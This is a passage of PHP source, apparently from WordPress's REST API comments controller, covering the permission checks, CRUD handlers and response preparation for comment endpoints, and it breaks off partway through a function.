				'callback' => array( $this, 'update_item' ),
				'permission_callback' => array( $this, 'update_item_permissions_check' ),
				'args'     => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ),
			),
			array(
				'methods'  => WP_REST_Server::DELETABLE,
				'callback' => array( $this, 'delete_item' ),
				'permission_callback' => array( $this, 'delete_item_permissions_check' ),
				'args'     => array(
					'force'    => array(
						'type'        => 'boolean',
						'default'     => false,
						'description' => __( 'Whether to bypass trash and force deletion.' ),
					),
					'password' => array(
						'description' => __( 'The password for the parent post of the comment (if the post is password protected).' ),
						'type'        => 'string',
					),
				),
			),
			'schema' => array( $this, 'get_public_item_schema' ),
		) );
	}

	/**
	 * Checks if a given request has access to read comments.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_Error|bool True if the request has read access, error object otherwise.
	 */
	public function get_items_permissions_check( $request ) {

		if ( ! empty( $request['post'] ) ) {
			foreach ( (array) $request['post'] as $post_id ) {
				$post = get_post( $post_id );

				if ( ! empty( $post_id ) && $post && ! $this->check_read_post_permission( $post, $request ) ) {
					return new WP_Error( 'rest_cannot_read_post', __( 'Sorry, you are not allowed to read the post for this comment.' ), array( 'status' => rest_authorization_required_code() ) );
				} elseif ( 0 === $post_id && ! current_user_can( 'moderate_comments' ) ) {
					return new WP_Error( 'rest_cannot_read', __( 'Sorry, you are not allowed to read comments without a post.' ), array( 'status' => rest_authorization_required_code() ) );
				}
			}
		}

		if ( ! empty( $request['context'] ) && 'edit' === $request['context'] && ! current_user_can( 'moderate_comments' ) ) {
			return new WP_Error( 'rest_forbidden_context', __( 'Sorry, you are not allowed to edit comments.' ), array( 'status' => rest_authorization_required_code() ) );
		}

		if ( ! current_user_can( 'edit_posts' ) ) {
			$protected_params = array( 'author', 'author_exclude', 'author_email', 'type', 'status' );
			$forbidden_params = array();

			foreach ( $protected_params as $param ) {
				if ( 'status' === $param ) {
					if ( 'approve' !== $request[ $param ] ) {
						$forbidden_params[] = $param;
					}
				} elseif ( 'type' === $param ) {
					if ( 'comment' !== $request[ $param ] ) {
						$forbidden_params[] = $param;
					}
				} elseif ( ! empty( $request[ $param ] ) ) {
					$forbidden_params[] = $param;
				}
			}

			if ( ! empty( $forbidden_params ) ) {
				return new WP_Error( 'rest_forbidden_param', sprintf( __( 'Query parameter not permitted: %s' ), implode( ', ', $forbidden_params ) ), array( 'status' => rest_authorization_required_code() ) );
			}
		}

		return true;
	}

	/**
	 * Retrieves a list of comment items.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_Error|WP_REST_Response Response object on success, or error object on failure.
	 */
	public function get_items( $request ) {

		// Retrieve the list of registered collection query parameters.
		$registered = $this->get_collection_params();

		/*
		 * This array defines mappings between public API query parameters whose
		 * values are accepted as-passed, and their internal WP_Query parameter
		 * name equivalents (some are the same). Only values which are also
		 * present in $registered will be set.
		 */
		$parameter_mappings = array(
			'author'         => 'author__in',
			'author_email'   => 'author_email',
			'author_exclude' => 'author__not_in',
			'exclude'        => 'comment__not_in',
			'include'        => 'comment__in',
			'offset'         => 'offset',
			'order'          => 'order',
			'parent'         => 'parent__in',
			'parent_exclude' => 'parent__not_in',
			'per_page'       => 'number',
			'post'           => 'post__in',
			'search'         => 'search',
			'status'         => 'status',
			'type'           => 'type',
		);

		$prepared_args = array();

		/*
		 * For each known parameter which is both registered and present in the request,
		 * set the parameter's value on the query $prepared_args.
		 */
		foreach ( $parameter_mappings as $api_param => $wp_param ) {
			if ( isset( $registered[ $api_param ], $request[ $api_param ] ) ) {
				$prepared_args[ $wp_param ] = $request[ $api_param ];
			}
		}

		// Ensure certain parameter values default to empty strings.
		foreach ( array( 'author_email', 'search' ) as $param ) {
			if ( ! isset( $prepared_args[ $param ] ) ) {
				$prepared_args[ $param ] = '';
			}
		}

		if ( isset( $registered['orderby'] ) ) {
			$prepared_args['orderby'] = $this->normalize_query_param( $request['orderby'] );
		}

		$prepared_args['no_found_rows'] = false;

		$prepared_args['date_query'] = array();

		// Set before into date query. Date query must be specified as an array of an array.
		if ( isset( $registered['before'], $request['before'] ) ) {
			$prepared_args['date_query'][0]['before'] = $request['before'];
		}

		// Set after into date query. Date query must be specified as an array of an array.
		if ( isset( $registered['after'], $request['after'] ) ) {
			$prepared_args['date_query'][0]['after'] = $request['after'];
		}

		if ( isset( $registered['page'] ) && empty( $request['offset'] ) ) {
			$prepared_args['offset'] = $prepared_args['number'] * ( absint( $request['page'] ) - 1 );
		}

		/**
		 * Filters arguments, before passing to WP_Comment_Query, when querying comments via the REST API.
		 *
		 * @since 4.7.0
		 *
		 * @link https://developer.wordpress.org/reference/classes/wp_comment_query/
		 *
		 * @param array           $prepared_args Array of arguments for WP_Comment_Query.
		 * @param WP_REST_Request $request       The current request.
		 */
		$prepared_args = apply_filters( 'rest_comment_query', $prepared_args, $request );

		$query = new WP_Comment_Query;
		$query_result = $query->query( $prepared_args );

		$comments = array();

		foreach ( $query_result as $comment ) {
			if ( ! $this->check_read_permission( $comment, $request ) ) {
				continue;
			}

			$data = $this->prepare_item_for_response( $comment, $request );
			$comments[] = $this->prepare_response_for_collection( $data );
		}

		$total_comments = (int) $query->found_comments;
		$max_pages      = (int) $query->max_num_pages;

		if ( $total_comments < 1 ) {
			// Out-of-bounds, run the query again without LIMIT for total count.
			unset( $prepared_args['number'], $prepared_args['offset'] );

			$query = new WP_Comment_Query;
			$prepared_args['count'] = true;

			$total_comments = $query->query( $prepared_args );
			$max_pages = ceil( $total_comments / $request['per_page'] );
		}

		$response = rest_ensure_response( $comments );
		$response->header( 'X-WP-Total', $total_comments );
		$response->header( 'X-WP-TotalPages', $max_pages );

		$base = add_query_arg( $request->get_query_params(), rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ) );

		if ( $request['page'] > 1 ) {
			$prev_page = $request['page'] - 1;

			if ( $prev_page > $max_pages ) {
				$prev_page = $max_pages;
			}

			$prev_link = add_query_arg( 'page', $prev_page, $base );
			$response->link_header( 'prev', $prev_link );
		}

		if ( $max_pages > $request['page'] ) {
			$next_page = $request['page'] + 1;
			$next_link = add_query_arg( 'page', $next_page, $base );

			$response->link_header( 'next', $next_link );
		}

		return $response;
	}

	/**
	 * Get the comment, if the ID is valid.
	 *
	 * @since 4.7.2
	 *
	 * @param int $id Supplied ID.
	 * @return WP_Comment|WP_Error Comment object if ID is valid, WP_Error otherwise.
	 */
	protected function get_comment( $id ) {
		$error = new WP_Error( 'rest_comment_invalid_id', __( 'Invalid comment ID.' ), array( 'status' => 404 ) );
		if ( (int) $id <= 0 ) {
			return $error;
		}

		$id = (int) $id;
		$comment = get_comment( $id );
		if ( empty( $comment ) ) {
			return $error;
		}

		if ( ! empty( $comment->comment_post_ID ) ) {
			$post = get_post( (int) $comment->comment_post_ID );
			if ( empty( $post ) ) {
				return new WP_Error( 'rest_post_invalid_id', __( 'Invalid post ID.' ), array( 'status' => 404 ) );
			}
		}

		return $comment;
	}

	/**
	 * Checks if a given request has access to read the comment.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_Error|bool True if the request has read access for the item, error object otherwise.
	 */
	public function get_item_permissions_check( $request ) {
		$comment = $this->get_comment( $request['id'] );
		if ( is_wp_error( $comment ) ) {
			return $comment;
		}

		if ( ! empty( $request['context'] ) && 'edit' === $request['context'] && ! current_user_can( 'moderate_comments' ) ) {
			return new WP_Error( 'rest_forbidden_context', __( 'Sorry, you are not allowed to edit comments.' ), array( 'status' => rest_authorization_required_code() ) );
		}

		$post = get_post( $comment->comment_post_ID );

		if ( ! $this->check_read_permission( $comment, $request ) ) {
			return new WP_Error( 'rest_cannot_read', __( 'Sorry, you are not allowed to read this comment.' ), array( 'status' => rest_authorization_required_code() ) );
		}

		if ( $post && ! $this->check_read_post_permission( $post, $request ) ) {
			return new WP_Error( 'rest_cannot_read_post', __( 'Sorry, you are not allowed to read the post for this comment.' ), array( 'status' => rest_authorization_required_code() ) );
		}

		return true;
	}

	/**
	 * Retrieves a comment.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_Error|WP_REST_Response Response object on success, or error object on failure.
	 */
	public function get_item( $request ) {
		$comment = $this->get_comment( $request['id'] );
		if ( is_wp_error( $comment ) ) {
			return $comment;
		}

		$data = $this->prepare_item_for_response( $comment, $request );
		$response = rest_ensure_response( $data );

		return $response;
	}

	/**
	 * Checks if a given request has access to create a comment.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_Error|bool True if the request has access to create items, error object otherwise.
	 */
	public function create_item_permissions_check( $request ) {
		if ( ! is_user_logged_in() ) {
			if ( get_option( 'comment_registration' ) ) {
				return new WP_Error( 'rest_comment_login_required', __( 'Sorry, you must be logged in to comment.' ), array( 'status' => 401 ) );
			}

			/**
			 * Filter whether comments can be created without authentication.
			 *
			 * Enables creating comments for anonymous users.
			 *
			 * @since 4.7.0
			 *
			 * @param bool $allow_anonymous Whether to allow anonymous comments to
			 *                              be created. Default `false`.
			 * @param WP_REST_Request $request Request used to generate the
			 *                                 response.
			 */
			$allow_anonymous = apply_filters( 'rest_allow_anonymous_comments', false, $request );
			if ( ! $allow_anonymous ) {
				return new WP_Error( 'rest_comment_login_required', __( 'Sorry, you must be logged in to comment.' ), array( 'status' => 401 ) );
			}
		}

		// Limit who can set comment `author`, `author_ip` or `status` to anything other than the default.
		if ( isset( $request['author'] ) && get_current_user_id() !== $request['author'] && ! current_user_can( 'moderate_comments' ) ) {
			return new WP_Error( 'rest_comment_invalid_author',
				/* translators: %s: request parameter */
				sprintf( __( "Sorry, you are not allowed to edit '%s' for comments." ), 'author' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		if ( isset( $request['author_ip'] ) && ! current_user_can( 'moderate_comments' ) ) {
			if ( empty( $_SERVER['REMOTE_ADDR'] ) || $request['author_ip'] !== $_SERVER['REMOTE_ADDR'] ) {
				return new WP_Error( 'rest_comment_invalid_author_ip',
					/* translators: %s: request parameter */
					sprintf( __( "Sorry, you are not allowed to edit '%s' for comments." ), 'author_ip' ),
					array( 'status' => rest_authorization_required_code() )
				);
			}
		}

		if ( isset( $request['status'] ) && ! current_user_can( 'moderate_comments' ) ) {
			return new WP_Error( 'rest_comment_invalid_status',
				/* translators: %s: request parameter */
				sprintf( __( "Sorry, you are not allowed to edit '%s' for comments." ), 'status' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		if ( empty( $request['post'] ) ) {
			return new WP_Error( 'rest_comment_invalid_post_id', __( 'Sorry, you are not allowed to create this comment without a post.' ), array( 'status' => 403 ) );
		}

		$post = get_post( (int) $request['post'] );
		if ( ! $post ) {
			return new WP_Error( 'rest_comment_invalid_post_id', __( 'Sorry, you are not allowed to create this comment without a post.' ), array( 'status' => 403 ) );
		}

		if ( 'draft' === $post->post_status ) {
			return new WP_Error( 'rest_comment_draft_post', __( 'Sorry, you are not allowed to create a comment on this post.' ), array( 'status' => 403 ) );
		}

		if ( 'trash' === $post->post_status ) {
			return new WP_Error( 'rest_comment_trash_post', __( 'Sorry, you are not allowed to create a comment on this post.' ), array( 'status' => 403 ) );
		}

		if ( ! $this->check_read_post_permission( $post, $request ) ) {
			return new WP_Error( 'rest_cannot_read_post', __( 'Sorry, you are not allowed to read the post for this comment.' ), array( 'status' => rest_authorization_required_code() ) );
		}

		if ( ! comments_open( $post->ID ) ) {
			return new WP_Error( 'rest_comment_closed', __( 'Sorry, comments are closed for this item.' ), array( 'status' => 403 ) );
		}

		return true;
	}

	/**
	 * Creates a comment.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_Error|WP_REST_Response Response object on success, or error object on failure.
	 */
	public function create_item( $request ) {
		if ( ! empty( $request['id'] ) ) {
			return new WP_Error( 'rest_comment_exists', __( 'Cannot create existing comment.' ), array( 'status' => 400 ) );
		}

		// Do not allow comments to be created with a non-default type.
		if ( ! empty( $request['type'] ) && 'comment' !== $request['type'] ) {
			return new WP_Error( 'rest_invalid_comment_type', __( 'Cannot create a comment with that type.' ), array( 'status' => 400 ) );
		}

		$prepared_comment = $this->prepare_item_for_database( $request );
		if ( is_wp_error( $prepared_comment ) ) {
			return $prepared_comment;
		}

		$prepared_comment['comment_type'] = '';

		/*
		 * Do not allow a comment to be created with missing or empty
		 * comment_content. See wp_handle_comment_submission().
		 */
		if ( empty( $prepared_comment['comment_content'] ) ) {
			return new WP_Error( 'rest_comment_content_invalid', __( 'Invalid comment content.' ), array( 'status' => 400 ) );
		}

		// Setting remaining values before wp_insert_comment so we can use wp_allow_comment().
		if ( ! isset( $prepared_comment['comment_date_gmt'] ) ) {
			$prepared_comment['comment_date_gmt'] = current_time( 'mysql', true );
		}

		// Set author data if the user's logged in.
		$missing_author = empty( $prepared_comment['user_id'] )
			&& empty( $prepared_comment['comment_author'] )
			&& empty( $prepared_comment['comment_author_email'] )
			&& empty( $prepared_comment['comment_author_url'] );

		if ( is_user_logged_in() && $missing_author ) {
			$user = wp_get_current_user();

			$prepared_comment['user_id'] = $user->ID;
			$prepared_comment['comment_author'] = $user->display_name;
			$prepared_comment['comment_author_email'] = $user->user_email;
			$prepared_comment['comment_author_url'] = $user->user_url;
		}

		// Honor the discussion setting that requires a name and email address of the comment author.
		if ( get_option( 'require_name_email' ) ) {
			if ( empty( $prepared_comment['comment_author'] ) || empty( $prepared_comment['comment_author_email'] ) ) {
				return new WP_Error( 'rest_comment_author_data_required', __( 'Creating a comment requires valid author name and email values.' ), array( 'status' => 400 ) );
			}
		}

		if ( ! isset( $prepared_comment['comment_author_email'] ) ) {
			$prepared_comment['comment_author_email'] = '';
		}

		if ( ! isset( $prepared_comment['comment_author_url'] ) ) {
			$prepared_comment['comment_author_url'] = '';
		}

		if ( ! isset( $prepared_comment['comment_agent'] ) ) {
			$prepared_comment['comment_agent'] = '';
		}

		$check_comment_lengths = wp_check_comment_data_max_lengths( $prepared_comment );
		if ( is_wp_error( $check_comment_lengths ) ) {
			$error_code = $check_comment_lengths->get_error_code();
			return new WP_Error( $error_code, __( 'Comment field exceeds maximum length allowed.' ), array( 'status' => 400 ) );
		}

		$prepared_comment['comment_approved'] = wp_allow_comment( $prepared_comment, true );

		if ( is_wp_error( $prepared_comment['comment_approved'] ) ) {
			$error_code    = $prepared_comment['comment_approved']->get_error_code();
			$error_message = $prepared_comment['comment_approved']->get_error_message();

			if ( 'comment_duplicate' === $error_code ) {
				return new WP_Error( $error_code, $error_message, array( 'status' => 409 ) );
			}

			if ( 'comment_flood' === $error_code ) {
				return new WP_Error( $error_code, $error_message, array( 'status' => 400 ) );
			}

			return $prepared_comment['comment_approved'];
		}

		/**
		 * Filters a comment before it is inserted via the REST API.
		 *
		 * Allows modification of the comment right before it is inserted via wp_insert_comment().
		 * Returning a WP_Error value from the filter will shortcircuit insertion and allow
		 * skipping further processing.
		 *
		 * @since 4.7.0
		 * @since 4.8.0 $prepared_comment can now be a WP_Error to shortcircuit insertion.
		 *
		 * @param array|WP_Error  $prepared_comment The prepared comment data for wp_insert_comment().
		 * @param WP_REST_Request $request          Request used to insert the comment.
		 */
		$prepared_comment = apply_filters( 'rest_pre_insert_comment', $prepared_comment, $request );
		if ( is_wp_error( $prepared_comment ) ) {
			return $prepared_comment;
		}

		$comment_id = wp_insert_comment( wp_filter_comment( wp_slash( (array) $prepared_comment ) ) );

		if ( ! $comment_id ) {
			return new WP_Error( 'rest_comment_failed_create', __( 'Creating comment failed.' ), array( 'status' => 500 ) );
		}

		if ( isset( $request['status'] ) ) {
			$this->handle_status_param( $request['status'], $comment_id );
		}

		$comment = get_comment( $comment_id );

		/**
		 * Fires after a comment is created or updated via the REST API.
		 *
		 * @since 4.7.0
		 *
		 * @param WP_Comment      $comment  Inserted or updated comment object.
		 * @param WP_REST_Request $request  Request object.
		 * @param bool            $creating True when creating a comment, false
		 *                                  when updating.
		 */
		do_action( 'rest_insert_comment', $comment, $request, true );

		$schema = $this->get_item_schema();

		if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) {
			$meta_update = $this->meta->update_value( $request['meta'], $comment_id );

			if ( is_wp_error( $meta_update ) ) {
				return $meta_update;
			}
		}

		$fields_update = $this->update_additional_fields_for_object( $comment, $request );

		if ( is_wp_error( $fields_update ) ) {
			return $fields_update;
		}

		$context = current_user_can( 'moderate_comments' ) ? 'edit' : 'view';
		$request->set_param( 'context', $context );

		/**
		 * Fires completely after a comment is created or updated via the REST API.
		 *
		 * @since 5.0.0
		 *
		 * @param WP_Comment      $comment  Inserted or updated comment object.
		 * @param WP_REST_Request $request  Request object.
		 * @param bool            $creating True when creating a comment, false
		 *                                  when updating.
		 */
		do_action( 'rest_after_insert_comment', $comment, $request, true );

		$response = $this->prepare_item_for_response( $comment, $request );
		$response = rest_ensure_response( $response );

		$response->set_status( 201 );
		$response->header( 'Location', rest_url( sprintf( '%s/%s/%d', $this->namespace, $this->rest_base, $comment_id ) ) );


		return $response;
	}

	/**
	 * Checks if a given REST request has access to update a comment.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_Error|bool True if the request has access to update the item, error object otherwise.
	 */
	public function update_item_permissions_check( $request ) {
		$comment = $this->get_comment( $request['id'] );
		if ( is_wp_error( $comment ) ) {
			return $comment;
		}

		if ( ! $this->check_edit_permission( $comment ) ) {
			return new WP_Error( 'rest_cannot_edit', __( 'Sorry, you are not allowed to edit this comment.' ), array( 'status' => rest_authorization_required_code() ) );
		}

		return true;
	}

	/**
	 * Updates a comment.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_Error|WP_REST_Response Response object on success, or error object on failure.
	 */
	public function update_item( $request ) {
		$comment = $this->get_comment( $request['id'] );
		if ( is_wp_error( $comment ) ) {
			return $comment;
		}

		$id = $comment->comment_ID;

		if ( isset( $request['type'] ) && get_comment_type( $id ) !== $request['type'] ) {
			return new WP_Error( 'rest_comment_invalid_type', __( 'Sorry, you are not allowed to change the comment type.' ), array( 'status' => 404 ) );
		}

		$prepared_args = $this->prepare_item_for_database( $request );

		if ( is_wp_error( $prepared_args ) ) {
			return $prepared_args;
		}

		if ( ! empty( $prepared_args['comment_post_ID'] ) ) {
			$post = get_post( $prepared_args['comment_post_ID'] );
			if ( empty( $post ) ) {
				return new WP_Error( 'rest_comment_invalid_post_id', __( 'Invalid post ID.' ), array( 'status' => 403 ) );
			}
		}

		if ( empty( $prepared_args ) && isset( $request['status'] ) ) {
			// Only the comment status is being changed.
			$change = $this->handle_status_param( $request['status'], $id );

			if ( ! $change ) {
				return new WP_Error( 'rest_comment_failed_edit', __( 'Updating comment status failed.' ), array( 'status' => 500 ) );
			}
		} elseif ( ! empty( $prepared_args ) ) {
			if ( is_wp_error( $prepared_args ) ) {
				return $prepared_args;
			}

			if ( isset( $prepared_args['comment_content'] ) && empty( $prepared_args['comment_content'] ) ) {
				return new WP_Error( 'rest_comment_content_invalid', __( 'Invalid comment content.' ), array( 'status' => 400 ) );
			}

			$prepared_args['comment_ID'] = $id;

			$check_comment_lengths = wp_check_comment_data_max_lengths( $prepared_args );
			if ( is_wp_error( $check_comment_lengths ) ) {
				$error_code = $check_comment_lengths->get_error_code();
				return new WP_Error( $error_code, __( 'Comment field exceeds maximum length allowed.' ), array( 'status' => 400 ) );
			}

			$updated = wp_update_comment( wp_slash( (array) $prepared_args ) );

			if ( false === $updated ) {
				return new WP_Error( 'rest_comment_failed_edit', __( 'Updating comment failed.' ), array( 'status' => 500 ) );
			}

			if ( isset( $request['status'] ) ) {
				$this->handle_status_param( $request['status'], $id );
			}
		}

		$comment = get_comment( $id );

		/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php */
		do_action( 'rest_insert_comment', $comment, $request, false );

		$schema = $this->get_item_schema();

		if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) {
			$meta_update = $this->meta->update_value( $request['meta'], $id );

			if ( is_wp_error( $meta_update ) ) {
				return $meta_update;
			}
		}

		$fields_update = $this->update_additional_fields_for_object( $comment, $request );

		if ( is_wp_error( $fields_update ) ) {
			return $fields_update;
		}

		$request->set_param( 'context', 'edit' );

		/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php */
		do_action( 'rest_after_insert_comment', $comment, $request, false );

		$response = $this->prepare_item_for_response( $comment, $request );

		return rest_ensure_response( $response );
	}

	/**
	 * Checks if a given request has access to delete a comment.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_Error|bool True if the request has access to delete the item, error object otherwise.
	 */
	public function delete_item_permissions_check( $request ) {
		$comment = $this->get_comment( $request['id'] );
		if ( is_wp_error( $comment ) ) {
			return $comment;
		}

		if ( ! $this->check_edit_permission( $comment ) ) {
			return new WP_Error( 'rest_cannot_delete', __( 'Sorry, you are not allowed to delete this comment.' ), array( 'status' => rest_authorization_required_code() ) );
		}
		return true;
	}

	/**
	 * Deletes a comment.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_Error|WP_REST_Response Response object on success, or error object on failure.
	 */
	public function delete_item( $request ) {
		$comment = $this->get_comment( $request['id'] );
		if ( is_wp_error( $comment ) ) {
			return $comment;
		}

		$force = isset( $request['force'] ) ? (bool) $request['force'] : false;

		/**
		 * Filters whether a comment can be trashed.
		 *
		 * Return false to disable trash support for the post.
		 *
		 * @since 4.7.0
		 *
		 * @param bool    $supports_trash Whether the post type support trashing.
		 * @param WP_Post $comment        The comment object being considered for trashing support.
		 */
		$supports_trash = apply_filters( 'rest_comment_trashable', ( EMPTY_TRASH_DAYS > 0 ), $comment );

		$request->set_param( 'context', 'edit' );

		if ( $force ) {
			$previous = $this->prepare_item_for_response( $comment, $request );
			$result = wp_delete_comment( $comment->comment_ID, true );
			$response = new WP_REST_Response();
			$response->set_data( array( 'deleted' => true, 'previous' => $previous->get_data() ) );
		} else {
			// If this type doesn't support trashing, error out.
			if ( ! $supports_trash ) {
				/* translators: %s: force=true */
				return new WP_Error( 'rest_trash_not_supported', sprintf( __( "The comment does not support trashing. Set '%s' to delete." ), 'force=true' ), array( 'status' => 501 ) );
			}

			if ( 'trash' === $comment->comment_approved ) {
				return new WP_Error( 'rest_already_trashed', __( 'The comment has already been trashed.' ), array( 'status' => 410 ) );
			}

			$result = wp_trash_comment( $comment->comment_ID );
			$comment = get_comment( $comment->comment_ID );
			$response = $this->prepare_item_for_response( $comment, $request );
		}

		if ( ! $result ) {
			return new WP_Error( 'rest_cannot_delete', __( 'The comment cannot be deleted.' ), array( 'status' => 500 ) );
		}

		/**
		 * Fires after a comment is deleted via the REST API.
		 *
		 * @since 4.7.0
		 *
		 * @param WP_Comment       $comment  The deleted comment data.
		 * @param WP_REST_Response $response The response returned from the API.
		 * @param WP_REST_Request  $request  The request sent to the API.
		 */
		do_action( 'rest_delete_comment', $comment, $response, $request );

		return $response;
	}

	/**
	 * Prepares a single comment output for response.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_Comment      $comment Comment object.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response Response object.
	 */
	public function prepare_item_for_response( $comment, $request ) {

		$fields = $this->get_fields_for_response( $request );
		$data   = array();

		if ( in_array( 'id', $fields, true ) ) {
			$data['id'] = (int) $comment->comment_ID;
		}

		if ( in_array( 'post', $fields, true ) ) {
			$data['post'] = (int) $comment->comment_post_ID;
		}

		if ( in_array( 'parent', $fields, true ) ) {
			$data['parent'] = (int) $comment->comment_parent;
		}

		if ( in_array( 'author', $fields, true ) ) {
			$data['author'] = (int) $comment->user_id;
		}

		if ( in_array( 'author_name', $fields, true ) ) {
			$data['author_name'] = $comment->comment_author;
		}

		if ( in_array( 'author_email', $fields, true ) ) {
			$data['author_email'] = $comment->comment_author_email;
		}

		if ( in_array( 'author_url', $fields, true ) ) {
			$data['author_url'] = $comment->comment_author_url;
		}

		if ( in_array( 'author_ip', $fields, true ) ) {
			$data['author_ip'] = $comment->comment_author_IP;
		}

		if ( in_array( 'author_user_agent', $fields, true ) ) {
			$data['author_user_agent'] = $comment->comment_agent;
		}

		if ( in_array( 'date', $fields, true ) ) {
			$data['date'] = mysql_to_rfc3339( $comment->comment_date );
		}

		if ( in_array( 'date_gmt', $fields, true ) ) {
			$data['date_gmt'] = mysql_to_rfc3339( $comment->comment_date_gmt );
		}

		if ( in_array( 'content', $fields, true ) ) {
			$data['content'] = array(
				/** This filter is documented in wp-includes/comment-template.php */
				'rendered' => apply_filters( 'comment_text', $comment->comment_content, $comment ),
				'raw'      => $comment->comment_content,
			);
		}

		if ( in_array( 'link', $fields, true ) ) {
			$data['link'] = get_comment_link( $comment );
		}

		if ( in_array( 'status', $fields, true ) ) {
			$data['status'] = $this->prepare_status_response( $comment->comment_approved );
		}

		if ( in_array( 'type', $fields, true ) ) {
			$data['type'] = get_comment_type( $comment->comment_ID );
		}

		if ( in_array( 'author_avatar_urls', $fields, true ) ) {
			$data['author_avatar_urls'] = rest_get_avatar_urls( $comment->comment_author_email );
		}

		if ( in_array( 'meta', $fields, true ) ) {
			$data['meta'] = $this->meta->get_value( $comment->comment_ID, $request );
		}

		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$data    = $this->add_additional_fields_to_object( $data, $request );
		$data    = $this->filter_response_by_context( $data, $context );

		// Wrap the data in a response object.
		$response = rest_ensure_response( $data );

		$response->add_links( $this->prepare_links( $comment ) );

		/**
		 * Filters a comment returned from the API.
		 *
		 * Allows modification of the comment right before it is returned.
		 *
		 * @since 4.7.0
		 *
		 * @param WP_REST_Response  $response The response object.
		 * @param WP_Comment        $comment  The original comment object.
		 * @param WP_REST_Request   $request  Request used to generate the response.
		 */
		return apply_filters( 'rest_prepare_comment', $response, $comment, $request );
	}

	/**
	 * Prepares links for the request.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_Comment $comment Comment object.
	 * @return array Links for the given comment.
	 */
	protected function prepare_links( $comment ) {
		$links = array(
			'self' => array(
				'href' => rest_url( sprintf( '%s/%s/%d', $this->namespace, $this->rest_base, $comment->comment_ID ) ),
			),
			'collection' => array(
				'href' => rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ),
			),
		);

		if ( 0 !== (int) $comment->user_id ) {
			$links['author'] = array(
				'href'       => rest_url( 'wp/v2/users/' . $comment->user_id ),
				'embeddable' => true,
			);
		}

		if ( 0 !== (int) $comment->comment_post_ID ) {
			$post = get_post( $comment->comment_post_ID );

			if ( ! empty( $post->ID ) ) {
				$obj = get_post_type_object( $post->post_type );
				$base = ! empty( $obj->rest_base ) ? $obj->rest_base : $obj->name;

				$links['up'] = array(
					'href'       => rest_url( 'wp/v2/' . $base . '/' . $comment->comment_post_ID ),
					'embeddable' => true,
					'post_type'  => $post->post_type,
				);
			}
		}

		if ( 0 !== (int) $comment->comment_parent ) {
			$links['in-reply-to'] = array(
				'href'       => rest_url( sprintf( '%s/%s/%d', $this->namespace, $this->rest_base, $comment->comment_parent ) ),
				'embeddable' => true,
			);
		}

		// Only grab one comment to verify the comment has children.
		$comment_children = $comment->get_children( array(
			'number' => 1,
			'count'  => true
		) );

		if ( ! empty( $comment_children ) ) {
			$args = array(
				'parent' => $comment->comment_ID
			);

			$rest_url = add_query_arg( $args, rest_url( $this->namespace . '/' . $this->rest_base ) );

			$links['children'] = array(
				'href' => $rest_url,
			);
		}

		return $links;
	}

	/**
	 * Prepends internal property prefix to query parameters to match our response fields.
	 *
	 * @since 4.7.0
	 *
	 * @param string $query_param Query parameter.
	 * @return string The normalized query parameter.
	 */
	protected function normalize_query_param( $query_param ) {
		$prefix = 'comment_';

		switch ( $query_param ) {
			case 'id':
				$normalized = $prefix . 'ID';
				break;
			case 'post':
				$normalized = $prefix . 'post_ID';
				break;
			case 'parent':
				$normalized = $prefix . 'parent';
				break;
			case 'include':
				$normalized = 'comment__in';
				break;
			default:
				$normalized = $prefix . $query_param;
				break;
		}

		return $normalized;
	}

	/**
	 * Checks comment_approved to set comment status for single comment output.
	 *
	 * @since 4.7.0
	 *
	 * @param string|int $comment_approved comment status.
	 * @return string Comment status.
	 */
	protected function prepare_status_response( $comment_approved ) {

		switch ( $comment_approved ) {
			case 'hold':
			case '0':
				$status = 'hold';
				break;

			case 'approve':
			case '1':
				$status = 'approved';
				break;

			case 'spam':
			case 'trash':
			default:
				$status = $comment_approved;
				break;
		}

		return $status;
	}

	/**
	 * Prepares a single comment to be inserted into the database.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Request object.
	 * @return array|WP_Error Prepared comment, otherwise WP_Error object.
	 */
	protected function prepare_item_for_database( $request ) {
		$prepared_comment = array();

		/*
		 * Allow the comment_content to be set via the 'content' or
		 * the 'content.raw' properties of the Request object.
		 */
		if ( isset( $request['content'] ) && is_string( $request['content'] ) ) {
			$prepared_comment['comment_content'] = $request['content'];
		} elseif ( isset( $request['content']['raw'] ) && is_string( $request['content']['raw'] ) ) {
			$prepared_comment['comment_content'] = $request['content']['raw'];
		}

		if ( isset( $request['post'] ) ) {
			$prepared_comment['comment_post_ID'] = (int) $request['post'];
		}

		if ( isset( $request['parent'] ) ) {
			$prepared_comment['comment_parent'] = $request['parent'];
		}

		if ( isset( $request['author'] ) ) {
			$user = new WP_User( $request['author'] );

			if ( $user->exists() ) {
				$prepared_comment['user_id'] = $user->ID;
				$prepared_comment['comment_author'] = $user->display_name;
				$prepared_comment['comment_author_email'] = $user->user_email;
				$prepared_comment['comment_author_url'] = $user->user_url;
			} else {
